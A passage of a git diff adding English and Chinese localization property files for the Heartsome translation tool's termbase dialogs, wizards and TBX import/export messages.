+preference.TBDatabasePage.btnRepeatOverwrite = Overwrite +preference.TBDatabasePage.btnRepeatMerge = Merge +preference.TBDatabasePage.btnRepeatIgnore = Ignore +preference.TBDatabasePage.commontitle = Conventional +preference.TBDatabasePage.commonCasesensitive = Case-sensitive +preference.TBDatabasePage.commonsearchterm = The termbase text search match + + +projectsetting.ProjectSettingTBPage.title = Termbase +projectsetting.ProjectSettingTBPage.msg1 = No term in the current project was found in the termbase. +projectsetting.ProjectSettingTBPage.addBtn = &Add +projectsetting.ProjectSettingTBPage.createBtn = &Create +projectsetting.ProjectSettingTBPage.removeBtn = &Remove +projectsetting.ProjectSettingTBPage.importTmxBtn = &Import TBX +projectsetting.ProjectSettingTBPage.msgTitle = Message +projectsetting.ProjectSettingTBPage.msg2 = Please select the termbase you want to import TBX files to. +projectsetting.ProjectSettingTBPage.msg3 = The following termbases have been added to the project.\n +projectsetting.ProjectSettingTBPage.clmnTitles1 = Name +projectsetting.ProjectSettingTBPage.clmnTitles2 = Type +projectsetting.ProjectSettingTBPage.clmnTitles3 = Address +projectsetting.ProjectSettingTBPage.clmnTitles4 = Project Language Pair +projectsetting.ProjectSettingTBPage.clmnTitles5 = Default +projectsetting.ProjectSettingTBPage.yes = Contains +projectsetting.ProjectSettingTBPage.no = Excludes + +wizard.NewTermDbBaseInfoPage.title = Termbases Information +wizard.NewTermDbBaseInfoPage.desc = Please enter basic information for the termbase. +wizard.NewTermDbBaseInfoPage.dbGroup1 = Basic information +wizard.NewTermDbBaseInfoPage.lblType = Type: +wizard.NewTermDbBaseInfoPage.dbNameText = Name: +wizard.NewTermDbBaseInfoPage.instanceText = Instance: +wizard.NewTermDbBaseInfoPage.dbGroup = Location +wizard.NewTermDbBaseInfoPage.hostText = Server: +wizard.NewTermDbBaseInfoPage.portText = Port: +wizard.NewTermDbBaseInfoPage.locationText = Path: +wizard.NewTermDbBaseInfoPage.borwserBtn = &Browse... +wizard.NewTermDbBaseInfoPage.authorityGroup = Authentication +wizard.NewTermDbBaseInfoPage.usernameText = Username: +wizard.NewTermDbBaseInfoPage.passwordText = Password: +wizard.NewTermDbBaseInfoPage.msg1 = Please select termbase type. If you select "Internal DB", simply specify the path where you want to save the termbase.\nIf you select other termbase types, enter the IP address of the server where the termbase is installed, and your user ID and password. +wizard.NewTermDbBaseInfoPage.msg2 = Please enter a name for the termbase. +wizard.NewTermDbBaseInfoPage.msg3 = Please set Path to a folder where your Internal DB termbase will be saved. +wizard.NewTermDbBaseInfoPage.msg4 = Please enter the address of the database server. +wizard.NewTermDbBaseInfoPage.msg5 = Please enter the port of the database server. +wizard.NewTermDbBaseInfoPage.msg6 = Please enter the username of the database server. +wizard.NewTermDbBaseInfoPage.instancemsg = Please enter the instance of database server. +wizard.NewTermDbBaseInfoPage.task1 = Try to connect to the specified database... +wizard.NewTermDbBaseInfoPage.msg7 = Unable to connect to specified database server.\nPlease make sure that you enter the correct information of the database and the server of the database is accessible\uff0cthen try again. +wizard.NewTermDbBaseInfoPage.logger1 = [LOG] \u672f\u8bed\u5e93\u521b\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u7cfb\u7edf\u5e93\u51fa\u9519 +wizard.NewTermDbBaseInfoPage.msg8 = Unable to create termbase.\nPlease make sure that the server of the database is accessible. Or, change server of the database/path and try again. +wizard.NewTermDbBaseInfoPage.msg9 = The name already exists in the specified database server or path. Please choose another name. +wizard.NewTermDbBaseInfoPage.task2 = Creating termbase... +wizard.NewTermDbBaseInfoPage.msg10 = Unable to create termbase.\nPlease make sure that the server of the database is accessible. Or, change server of the database/path and try again.\n If the problem is not solved, please contact the Heartsome technical support, and provide the following information: +wizard.NewTermDbImportPage.title = Import TBX +wizard.NewTermDbImportPage.desc = Import TBX files into the new termbase. +wizard.NewTermDbImportPage.lblTbx = TBX files: +wizard.NewTermDbImportPage.tbxFileBorwserBtn = &Browse... +wizard.NewTermDbImportPage.task1 = Create Termbase +wizard.NewTermDbImportPage.task2 = Importing TBX files... +wizard.NewTermDbImportPage.msg1 = The file is an invalid TBX file. Please select a valid TBX file. +wizard.NewTermDbImportPage.msg2 = Unable to import: An error occured when loading TBX files.\nPlease make sure the TBX file is accessible, or select another one. Then try again. +wizard.NewTermDbImportPage.msg3 = Unable to import TBX files due to an error in the database.\n Please make sure that the server of the database and the TBX file are accessible. Or, change server of the database/path and try again. +wizard.NewTermDbImportPage.msg4 = Unable to import: An error occured when loading TBX files.\nPlease make sure the TBX file is accessible, or select another one. Then try again. +wizard.NewTermDbImportPage.msg5 = An error occured when importing TBX files.\nPlease make sure the database server and the TBX file are accessible, or specify the database server/path/TBX file. Then try again. +wizard.NewTermDbImportPage.msg6 = Import of TBX files has been cancelled. +wizard.NewTermDbWizard.title = New Termbase Wizard +wizard.TbxImportWizard.title = Import TBX files +wizard.TbxImportWizard.msg = Please select the TBX file you want to import into the termbase. +wizard.TbxImportWizardTbxPage.title = Import TBX files into the termbase. +wizard.TbxImportWizardTbxPage.desc = Import TBX files into the current termbase. +wizard.TbxImportWizardTbxPage.lblTmx = TBX files: +wizard.TbxImportWizardTbxPage.msg1 = Please select the TBX file you want to import into the termbase. +wizard.TbxImportWizardTbxPage.tmxFileBorwserBtn = &Browse... +wizard.TbxImportWizardTbxPage.task1 = Importing TBX files... +wizard.TbxImportWizardTbxPage.msg1 = The file is an invalid TBX file. Please select a valid TBX file. +wizard.TbxImportWizardTbxPage.msg2 = Unable to import: An error occured when loading TBX files.\nPlease make sure the TBX file is accessible, or select another one. Then try again. +wizard.TbxImportWizardTbxPage.msg3 = Unable to import TBX files due to an error in the database.\n Please make sure that the server of the database and the TBX file are accessible. Or, change server of the database/path and try again. +wizard.TbxImportWizardTbxPage.msg4 = Unable to import: An error occured when loading TBX files.\nPlease make sure the TBX file is accessible, or select another one. Then try again. +wizard.TbxImportWizardTbxPage.msg5 = An error occured when importing TBX files.\nPlease make sure the database server and the TBX file are accessible, or specify the database server/path/TBX file. Then try again. +wizard.TbxImportWizardTbxPage.msg6 = Import of TBX files has been cancelled. +wizard.TermDbManagerImportWizard.title = Import TBX files +wizard.TermDbManagerImportWizard.msg = Please select the TBX file you want to import into the termbase. +wizard.TermDbManagerImportWizardTbxPage.title = Select TBX files +wizard.TermDbManagerImportWizardTbxPage.desc = Import TBX files into the current termbase. +wizard.TermDbManagerImportWizardTbxPage.lblTmx = TBX files: +wizard.TermDbManagerImportWizardTbxPage.tmxFileBorwserBtn = &Browse... +wizard.TermDbManagerImportWizardTbxPage.openFile = Open +wizard.TermDbManagerImportWizardTbxPage.lblNewLabel = Termbases: +wizard.TermDbManagerImportWizardTbxPage.button = &Select +wizard.TermDbManagerImportWizardTbxPage.settingBtn = &Options... +wizard.TermDbManagerImportWizardTbxPage.task1 = Importing TBX files... +wizard.TermDbManagerImportWizardTbxPage.msg1 = The file is an invalid TBX file. Please select a valid TBX file. +wizard.TermDbManagerImportWizardTbxPage.msg2 = Unable to import: An error occured when loading TBX files.\nPlease make sure the TBX file is accessible, or select another one. Then try again. +wizard.TermDbManagerImportWizardTbxPage.msg3 = Unable to import TBX files due to an error in the database.\n Please make sure that the server of the database and the TBX file are accessible. Or, change server of the database/path and try again. +wizard.TermDbManagerImportWizardTbxPage.msg4 = Unable to import: An error occured when loading TBX files.\nPlease make sure the TBX file is accessible, or select another one. Then try again. +wizard.TermDbManagerImportWizardTbxPage.msg5 = An error occured when importing TBX files.\nPlease make sure the database server and the TBX file are accessible, or specify the database server/path/TBX file. Then try again. +wizard.TermDbManagerImportWizardTbxPage.msg6 = Import of TBX files has been cancelled. +wizard.TermDbManagerImportWizardTbxPage.msg7 = Import Complete. +wizard.TermDbManagerImportWizardTbxPage.msg8 = Please select the TBX file you want to import into the termbase. +wizard.TermDbManagerImportWizardTbxPage.msg9 = Please select the termbase you want to import TBX files into. + +########################## 2012-09-13 \u6dfb\u52a0 ############################################### +dialog.TermDbManagerDialog.lstItem = All + +tb.TbDbOperatorManager.logger1 = [LOG] \u6570\u636e\u5e93\u542f\u52a8\u5931\u8d25 ({0})\uff1a{1} +tb.TbDbOperatorManager.logger2 = [LOG] \u7ffb\u8bd1\u8fc7\u7a0b\u4e2d\uff0c\u91ca\u653e\u6570\u636e\u5e93\u8d44\u6e90\u51fa\u9519\uff1a + +# 2012-09-24 add by jason +wizard.NewTermDbBaseInfoPage.msg11 = The termbase path is invalid or the specified folder does not exist. + +########################## 2012-12-27 \u6dfb\u52a0 ############################################### +dialog.TermDbManagerDialog.msg11 = Please set the Path for saving SQLite Termbase. +dialog.TermDbManagerDialog.msg12 = The Termbase path does not exist. + +########################## robert 2013-02-26 \u6dfb\u52a0 ############################################### +dialog.db.recommend = SQLite (recommended) + +# add by jason 2013-04-23 +tb.dbtype.sqlite = \u6587\u4ef6\u672f\u8bed\u5e93 +tb.dialog.addTb.DropDownButton.AddFileTb = \u6587\u4ef6\u672f\u8bed\u5e93(&F)... +tb.dialog.addTb.DropDownButton.AddServerTb = \u670d\u52a1\u5668\u672f\u8bed\u5e93(&S)... +tb.dialog.addFileTb.errorTitle = \u9519\u8bef +tb.dialog.addFileTb.error.msg1 = \u8bf7\u9009\u62e9\u6b63\u786e\u7684 Hearstome \u672f\u8bed\u5e93\u6587\u4ef6\u3002 +tb.dialog.addFileTb.error.msg2 = \u65e0\u6cd5\u6253\u5f00\u672f\u8bed\u5e93 {0} \n \u8bf7\u9009\u62e9\u6b63\u786e\u7684 Heartsome \u672f\u8bed\u5e93\u6587\u4ef6\u3002 +# inser into ediotr add by yule 2013-04 -26 +view.TerminologyViewPart.msgTitle = Message +view.TerminologyViewPart.msg1 = The current segment is locked. The term search will skip this segment. +view.TerminologyViewPart.msg2 = Operation failed: \n \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/message_zh.properties b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/message_zh.properties new file mode 100644 index 0000000..653a1ec --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/resource/message_zh.properties @@ -0,0 +1,236 @@ +dialog.ExportTbxDialog.title = \u5bfc\u51fa\u672f\u8bed\u5e93\u4e3a TBX \u6587\u4ef6 +dialog.ExportTbxDialog.dbListGroup = \u672f\u8bed\u5e93 +dialog.ExportTbxDialog.langSelLabel = \u5bfc\u51fa\u8bed\u8a00\uff1a +dialog.ExportTbxDialog.srcLangSelLabel = \u6e90\u8bed\u8a00\uff1a +dialog.ExportTbxDialog.AddDbBtn = \u6dfb\u52a0(&A) +dialog.ExportTbxDialog.deleteDbBtn = \u79fb\u9664(&R) +dialog.ExportTbxDialog.msgTitle = \u63d0\u793a +dialog.ExportTbxDialog.msg1 = \u8bf7\u9009\u62e9\u8981\u4ece\u5217\u8868\u4e2d\u79fb\u9664\u7684\u672f\u8bed\u5e93\u3002 +dialog.ExportTbxDialog.hasChangedCodingCbtn = \u81ea\u5b9a\u4e49\u7f16\u7801\uff1a +dialog.ExportTbxDialog.button = \u8fc7\u6ee4\u89c4\u5219\uff1a +dialog.ExportTbxDialog.filterSettingBtn = \u7f16\u8f91(&E)... +dialog.ExportTbxDialog.filterDeleteBtn = \u5220\u9664(&D) +dialog.ExportTbxDialog.msg2 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u8fc7\u6ee4\u89c4\u5219\u5417\uff1f +dialog.ExportTbxDialog.tbxFileLabel = \u4fdd\u5b58\u5230\uff1a +dialog.ExportTbxDialog.browserBtn = \u6d4f\u89c8(&B)... +dialog.ExportTbxDialog.empty = \u65e0 +dialog.ExportTbxDialog.ok = \u5bfc\u51fa(&P) +dialog.ExportTbxDialog.cancel = \u53d6\u6d88 +dialog.ExportTbxDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.ExportTbxDialog.clmnTitles2 = \u7c7b\u578b +dialog.ExportTbxDialog.clmnTitles3 = \u540d\u79f0 +dialog.ExportTbxDialog.clmnTitles4 = \u8bed\u8a00 +dialog.ExportTbxDialog.msg3 = \u8bf7\u6dfb\u52a0\u9700\u8981\u5bfc\u51fa\u7684\u672f\u8bed\u5e93\u3002 +dialog.ExportTbxDialog.msg4 = \u672f\u8bed\u5e93 {0}:{1} \u81f3\u5c11\u8981\u5bfc\u51fa\u4e24\u79cd\u8bed\u8a00\u3002 +dialog.ExportTbxDialog.msg5 = \u8bf7\u6307\u5b9a\u5bfc\u51fa\u540e\u7684 TBX \u4fdd\u5b58\u8def\u5f84\u548c\u6587\u4ef6\u540d\u3002 +dialog.ExportTbxDialog.msg6 = \u6587\u4ef6 {0} \u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417? +dialog.ExportTbxDialog.msg7 = \u5f53\u9009\u62e9\u591a\u4e2a\u672f\u8bed\u5e93\u65f6\uff0c\u4fdd\u5b58 TBX \u6587\u4ef6\u7684\u8def\u5f84\u5fc5\u987b\u662f\u4e00\u4e2a\u6587\u4ef6\u5939\u3002 +dialog.ExportTbxDialog.msg8 = \u5f53\u9009\u4e00\u4e2a\u672f\u8bed\u5e93\u65f6\uff0c\u4fdd\u5b58 TBX \u6587\u4ef6\u7684\u8def\u5f84\u5fc5\u987b\u662f\u4e00\u4e2a\u6587\u4ef6\u3002 +dialog.ExportTbxDialog.job = \u5c06\u672f\u8bed\u5e93\u5bfc\u51fa\u4e3a TBX \u6587\u4ef6 +dialog.TermBaseSearchDialog.title = \u672f\u8bed\u641c\u7d22 +dialog.TermBaseSearchDialog.groupSearch = \u672f\u8bed\u641c\u7d22 +dialog.TermBaseSearchDialog.lblSearch = \u641c\u7d22\u5185\u5bb9\uff1a +dialog.TermBaseSearchDialog.btnSearch = \u641c\u7d22(&S) +dialog.TermBaseSearchDialog.btnIsCaseSensitive = \u5ffd\u7565\u5927\u5c0f\u5199 +dialog.TermBaseSearchDialog.btnIsIgnoreMark = \u5ffd\u7565\u6807\u8bb0 +dialog.TermBaseSearchDialog.btnApplyRegularExpression = \u6b63\u5219\u8868\u8fbe\u5f0f +dialog.TermBaseSearchDialog.lblQuality = \u5339\u914d\u7387\uff1a +dialog.TermBaseSearchDialog.lblTB = \u672f\u8bed\u5e93\uff1a +dialog.TermBaseSearchDialog.btnSelectLang = \u76ee\u6807\u8bed\u8a00 +dialog.TermBaseSearchDialog.groupTable = \u641c\u7d22\u7ed3\u679c +dialog.TermBaseSearchDialog.msgTitle = \u63d0\u793a +dialog.TermBaseSearchDialog.msg1 = \u8bf7\u8f93\u5165\u8981\u641c\u7d22\u7684\u672f\u8bed\u3002 +dialog.TermBaseSearchDialog.msg2 = \u8bf7\u9009\u62e9\u672f\u8bed\u5e93\u3002 +dialog.TermBaseSearchDialog.msg3 = \u672a\u641c\u7d22\u5230\u5339\u914d\u7684\u672f\u8bed\u3002 +dialog.TermBaseSearchDialog.logger1 = [LOG] \u521d\u59cb\u5316\u8bed\u8a00\u4e0b\u62c9\u6846\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TermBaseSearchDialog.logger2 = [LOG] \u6267\u884c\u672f\u8bed\u641c\u7d22\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TermBaseSearchDialog.logger3 = [LOG] \u4e0e\u6570\u636e\u5e93\u8fde\u63a5\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dialog.TermDbManagerDialog.title = \u672f\u8bed\u5e93\u7ba1\u7406 +dialog.TermDbManagerDialog.parameterGroup = \u6570\u636e\u5e93\u4fe1\u606f +dialog.TermDbManagerDialog.lblHost = \u5730\u5740\uff1a +dialog.TermDbManagerDialog.lblPort = \u7aef\u53e3\uff1a +dialog.TermDbManagerDialog.lblInstance = \u5b9e\u4f8b\uff1a +dialog.TermDbManagerDialog.lblLocation = \u8def\u5f84\uff1a +dialog.TermDbManagerDialog.borwserBtn = \u6d4f\u89c8(&B)... +dialog.TermDbManagerDialog.lblUsername = \u7528\u6237\u540d\uff1a +dialog.TermDbManagerDialog.lblPwd = \u5bc6\u7801\uff1a +dialog.TermDbManagerDialog.searchBtn = \u641c\u7d22(&S) +dialog.TermDbManagerDialog.msgTitle = \u63d0\u793a +dialog.TermDbManagerDialog.msg1 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\u3002\n\u8bf7\u786e\u8ba4\u586b\u5199\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3002 +dialog.TermDbManagerDialog.tableComposite = \u672f\u8bed\u5e93\u5217\u8868 +dialog.TermDbManagerDialog.btnc = \u521b\u5efa(&C) +dialog.TermDbManagerDialog.btnd_1 = \u5220\u9664(&D) +dialog.TermDbManagerDialog.msg2 = \u5220\u9664\u8be5\u672f\u8bed\u5e93\u540e\u5c06\u65e0\u6cd5\u6062\u590d\u6570\u636e\uff0c\u786e\u5b9a\u8981\u5220\u9664\u5417\uff1f +dialog.TermDbManagerDialog.logger1 = [LOG] \u5220\u9664\u672f\u8bed\u5e93\u5931\u8d25 +dialog.TermDbManagerDialog.msg3 = \u5220\u9664\u672f\u8bed\u5e93\u65f6\u51fa\u9519\u3002\n\u8bf7\u91cd\u65b0\u8fd0\u884c\u8f6f\u4ef6\u6216\u91cd\u542f\u6570\u636e\u5e93\uff0c\u7136\u540e\u91cd\u8bd5\u3002\n\u82e5\u4ecd\u672a\u89e3\u51b3\u95ee\u9898\uff0c\u8bf7\u8054\u7cfb Heartsome \u7684\u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u4fe1\u606f\uff1a +dialog.TermDbManagerDialog.importBtn = \u5bfc\u5165 TBX(&I) +dialog.TermDbManagerDialog.msg4 = \u8bf7\u9009\u62e9\u672f\u8bed\u5e93\u3002 +dialog.TermDbManagerDialog.deleteAction = \u79fb\u9664 +dialog.TermDbManagerDialog.clmnTitles1 = \u5e8f\u53f7 +dialog.TermDbManagerDialog.clmnTitles2 = \u540d\u79f0 +dialog.TermDbManagerDialog.clmnTitles3 = \u8bed\u8a00 +dialog.TermDbManagerDialog.msg5 = \u8bf7\u8bbe\u7f6e Internal DB \u672f\u8bed\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +dialog.TermDbManagerDialog.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +dialog.TermDbManagerDialog.msg7 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +dialog.TermDbManagerDialog.msg8 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +dialog.TermDbManagerDialog.msg9 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +dialog.TermDbManagerDialog.msg10 = \u8be5\u672f\u8bed\u5e93\u4e2d\u6ca1\u6709\u672f\u8bed\u3002 +dialog.TermDbManagerDialog.inputDbNameialogTitle = \u521b\u5efa\u672f\u8bed\u5e93 +dialog.TermDbManagerDialog.inputDbNameialogMsg = \u672f\u8bed\u5e93\u540d\u79f0\uff1a +dialog.TermDbNameInputDialog.msg1 = \u65e0\u6cd5\u521b\u5efa\u672f\u8bed\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +dialog.TermDbNameInputDialog.msg2 = \u8be5\u672f\u8bed\u5e93\u540d\u79f0\u5df2\u5728\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u6216\u8def\u5f84\u4e2d\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +dialog.TermDbNameInputDialog.logger1 = [LOG] \u521b\u5efa\u7cfb\u7edf\u5e93\u5931\u8d25 +dialog.TermDbNameInputDialog.logger2 = [LOG] \u521b\u5efa\u6570\u636e\u5e93\u5931\u8d25 + +handler.TermBaseSearchHandler.msgTitle = \u63d0\u793a +handler.TermBaseSearchHandler.msg = \u8bf7\u5148\u5728\u9879\u76ee\u8bbe\u7f6e\u4e2d\u6dfb\u52a0\u672f\u8bed\u5e93\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + +newproject.NewProjectTbPage.title = \u672f\u8bed\u5e93 +newproject.NewProjectTbPage.desc = \u8bbe\u7f6e\u8be5\u9879\u76ee\u7684\u672f\u8bed\u5e93\u3002 +newproject.NewProjectTbPage.msg1 = \u8be5\u672f\u8bed\u5e93\u4e2d\u65e0\u5f53\u524d\u9879\u76ee\u7684\u672f\u8bed\u3002 +newproject.NewProjectTbPage.addBtn = \u6dfb\u52a0(&A) +newproject.NewProjectTbPage.createBtn = \u521b\u5efa(&C) +newproject.NewProjectTbPage.removeBtn = \u79fb\u9664(&R) +newproject.NewProjectTbPage.importTmxBtn = \u5bfc\u5165 TBX(&I) +newproject.NewProjectTbPage.msgTitle = \u63d0\u793a +newproject.NewProjectTbPage.msg1 = \u8bf7\u5148\u9009\u62e9\u5f85\u5bfc\u5165\u7684\u672f\u8bed\u5e93\u3002 +newproject.NewProjectTbPage.msg2 = \u4ee5\u4e0b\u672f\u8bed\u5e93\u5df2\u6dfb\u52a0\u5230\u9879\u76ee\u4e2d\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\uff1a\n +newproject.NewProjectTbPage.clmnTitles1 = \u540d\u79f0 +newproject.NewProjectTbPage.clmnTitles2 = \u7c7b\u578b +newproject.NewProjectTbPage.clmnTitles3 = \u5730\u5740 +newproject.NewProjectTbPage.clmnTitles4 = \u9879\u76ee\u8bed\u8a00\u5bf9 +newproject.NewProjectTbPage.clmnTitles5 = \u9ed8\u8ba4\u5e93 +newproject.NewProjectTbPage.yes = \u5305\u542b +newproject.NewProjectTbPage.no = \u4e0d\u5305\u542b + +preference.TBDatabasePage.title = \u672f\u8bed\u5e93 +preference.TBDatabasePage.commonGroup = \u91cd\u590d\u9879\u5904\u7406 +preference.TBDatabasePage.imageLbale = \u6dfb\u52a0\u672f\u8bed\u548c\u5bfc\u5165 TBX \u6587\u4ef6\u65f6\uff0c\u5bf9\u91cd\u590d\u672f\u8bed\u7684\u5904\u7406\u7b56\u7565\uff1a +preference.TBDatabasePage.btnAlwaysAdd = \u65b0\u589e +preference.TBDatabasePage.btnRepeatOverwrite = \u8986\u76d6 +preference.TBDatabasePage.btnRepeatMerge = \u5408\u5e76 +preference.TBDatabasePage.btnRepeatIgnore = \u5ffd\u7565 +preference.TBDatabasePage.commontitle = \u5e38\u89c4 +preference.TBDatabasePage.commonCasesensitive = \u5ffd\u7565\u5927\u5c0f\u5199 +preference.TBDatabasePage.commonsearchterm = \u5728\u672f\u8bed\u5e93\u4e2d\u6587\u672c\u641c\u7d22\u5339\u914d\u65f6 + +projectsetting.ProjectSettingTBPage.title = \u672f\u8bed\u5e93 +projectsetting.ProjectSettingTBPage.msg1 = \u8be5\u672f\u8bed\u5e93\u4e2d\u65e0\u5f53\u524d\u9879\u76ee\u7684\u672f\u8bed\u3002 +projectsetting.ProjectSettingTBPage.addBtn = \u6dfb\u52a0(&A) +projectsetting.ProjectSettingTBPage.createBtn = \u521b\u5efa(&C) +projectsetting.ProjectSettingTBPage.removeBtn = \u79fb\u9664(&R) +projectsetting.ProjectSettingTBPage.importTmxBtn = \u5bfc\u5165 TBX(&I) +projectsetting.ProjectSettingTBPage.msgTitle = \u63d0\u793a +projectsetting.ProjectSettingTBPage.msg2 = \u8bf7\u5148\u9009\u62e9\u5f85\u5bfc\u5165\u7684\u672f\u8bed\u5e93\u3002 +projectsetting.ProjectSettingTBPage.msg3 = \u4ee5\u4e0b\u672f\u8bed\u5e93\u5df2\u6dfb\u52a0\u5230\u9879\u76ee\u4e2d\uff0c\u65e0\u9700\u91cd\u590d\u6dfb\u52a0\uff1a\n +projectsetting.ProjectSettingTBPage.clmnTitles1 = \u540d\u79f0 +projectsetting.ProjectSettingTBPage.clmnTitles2 = \u7c7b\u578b +projectsetting.ProjectSettingTBPage.clmnTitles3 = \u5730\u5740 +projectsetting.ProjectSettingTBPage.clmnTitles4 = \u9879\u76ee\u8bed\u8a00\u5bf9 +projectsetting.ProjectSettingTBPage.clmnTitles5 = \u9ed8\u8ba4\u5e93 +projectsetting.ProjectSettingTBPage.yes = \u5305\u542b +projectsetting.ProjectSettingTBPage.no = \u4e0d\u5305\u542b + +wizard.NewTermDbBaseInfoPage.title = \u672f\u8bed\u5e93\u4fe1\u606f +wizard.NewTermDbBaseInfoPage.desc = \u8bf7\u8f93\u5165\u672f\u8bed\u5e93\u7684\u57fa\u672c\u4fe1\u606f\u3002 +wizard.NewTermDbBaseInfoPage.dbGroup1 = \u57fa\u672c\u4fe1\u606f +wizard.NewTermDbBaseInfoPage.lblType = \u7c7b\u578b\uff1a +wizard.NewTermDbBaseInfoPage.dbNameText = \u540d\u79f0\uff1a +wizard.NewTermDbBaseInfoPage.instanceText = \u5b9e\u4f8b\uff1a +wizard.NewTermDbBaseInfoPage.dbGroup = \u4f4d\u7f6e +wizard.NewTermDbBaseInfoPage.hostText = \u670d\u52a1\u5668\uff1a +wizard.NewTermDbBaseInfoPage.portText = \u7aef\u53e3\uff1a +wizard.NewTermDbBaseInfoPage.locationText = \u8def\u5f84\uff1a +wizard.NewTermDbBaseInfoPage.borwserBtn = \u6d4f\u89c8(&B)... +wizard.NewTermDbBaseInfoPage.authorityGroup = \u8eab\u4efd\u9a8c\u8bc1 +wizard.NewTermDbBaseInfoPage.usernameText = \u7528\u6237\u540d\uff1a +wizard.NewTermDbBaseInfoPage.passwordText = \u5bc6\u7801\uff1a +wizard.NewTermDbBaseInfoPage.msg1 = \u8bf7\u9009\u62e9\u672f\u8bed\u5e93\u7684\u7c7b\u578b\u3002\u5982\u679c\u4f7f\u7528 Internal DB \u4f5c\u4e3a\u672f\u8bed\u5e93\uff0c\u5219\u4ec5\u9700\u6307\u5b9a\u672f\u8bed\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002\n\u5982\u679c\u9009\u62e9\u4f7f\u7528\u5176\u4ed6\u7c7b\u578b\u7684\u672f\u8bed\u5e93\uff0c\u5219\u9700\u8981\u8f93\u5165\u5b89\u88c5\u6570\u636e\u5e93\u7684\u670d\u52a1\u5668\u5730\u5740\u3001\u7528\u6237\u540d\u53ca\u5bc6\u7801\u3002 +wizard.NewTermDbBaseInfoPage.msg2 = \u8bf7\u8f93\u5165\u672f\u8bed\u5e93\u7684\u540d\u79f0\u3002 +wizard.NewTermDbBaseInfoPage.msg3 = \u8bf7\u8bbe\u7f6e Internal DB \u672f\u8bed\u5e93\u7684\u4fdd\u5b58\u8def\u5f84\u3002 +wizard.NewTermDbBaseInfoPage.msg4 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5730\u5740\u3002 +wizard.NewTermDbBaseInfoPage.msg5 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7aef\u53e3\u3002 +wizard.NewTermDbBaseInfoPage.msg6 = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u7528\u6237\u540d\u3002 +wizard.NewTermDbBaseInfoPage.instancemsg = \u8bf7\u8f93\u5165\u6570\u636e\u5e93\u670d\u52a1\u5668\u7684\u5b9e\u4f8b\u3002 +wizard.NewTermDbBaseInfoPage.task1 = \u5c1d\u8bd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93... +wizard.NewTermDbBaseInfoPage.msg7 = \u65e0\u6cd5\u8fde\u63a5\u5230\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u3002\n\u8bf7\u786e\u8ba4\u8f93\u5165\u4e86\u6b63\u786e\u7684\u6570\u636e\u5e93\u4fe1\u606f\u3001\u4e14\u8be5\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTermDbBaseInfoPage.logger1 = [LOG] \u672f\u8bed\u5e93\u521b\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u7cfb\u7edf\u5e93\u51fa\u9519 +wizard.NewTermDbBaseInfoPage.msg8 = \u65e0\u6cd5\u521b\u5efa\u672f\u8bed\u5e93\u3002\n\u8bf7\u786e\u8ba4\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u53ef\u6b63\u5e38\u8bbf\u95ee\u3001\u6216\u66f4\u6362\u6570\u636e\u5e93\u670d\u52a1\u5668/\u8def\u5f84\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +wizard.NewTermDbBaseInfoPage.msg9 = \u8be5\u672f\u8bed\u5e93\u540d\u79f0\u5df2\u5728\u6307\u5b9a\u7684\u6570\u636e\u5e93\u670d\u52a1\u5668\u6216\u8def\u5f84\u4e2d\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +wizard.NewTermDbBaseInfoPage.task2 = \u6b63\u5728\u521b\u5efa\u672f\u8bed\u5e93... +wizard.NewTermDbBaseInfoPage.msg10 = 